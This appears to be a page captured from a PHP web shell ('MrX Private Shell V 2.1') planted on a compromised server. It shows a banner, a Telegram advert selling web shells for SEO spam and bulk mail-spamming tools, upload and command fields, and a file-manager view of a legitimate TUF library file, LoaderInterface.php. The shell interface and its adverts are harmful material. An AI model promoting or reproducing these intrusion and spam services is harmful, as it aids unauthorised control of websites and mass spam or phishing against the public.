__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Tuf\Loader;

use GuzzleHttp\Promise\PromiseInterface;

/**
 * Defines an interface to load data as a stream.
 *
 * The data source can be anything, from anywhere, but it must be returned as an
 * implementation of \Psr\Http\Message\StreamInterface.
 *
 * This is an internal interface used to load untrusted data! External code
 * should not use this directly, but instead rely on \Tuf\Client\Updater to
 * load TUF-verified data.
 */
interface LoaderInterface
{
    /**
     * Loads data as a stream.
     *
     * @param string $locator
     *   A string identifying the data to load. The meaning of this depends on
     *   the implementing class; it could be a URL, a relative or absolute file
     *   path, or something else.
     * @param int $maxBytes
     *   The maximum number of bytes that should be read from the data source.
     *
     * @return \GuzzleHttp\Promise\PromiseInterface<\Psr\Http\Message\StreamInterface>
     *   A promise wrapping a data stream.
     *
     * @throws \Tuf\Exception\RepoFileNotFound
     *   If the data cannot be found.
     */
    public function load(string $locator, int $maxBytes): PromiseInterface;
}

Filemanager

Name Type Size Permission Actions
LoaderInterface.php File 1.14 KB 0664
SizeCheckingLoader.php File 3.16 KB 0664
Filemanager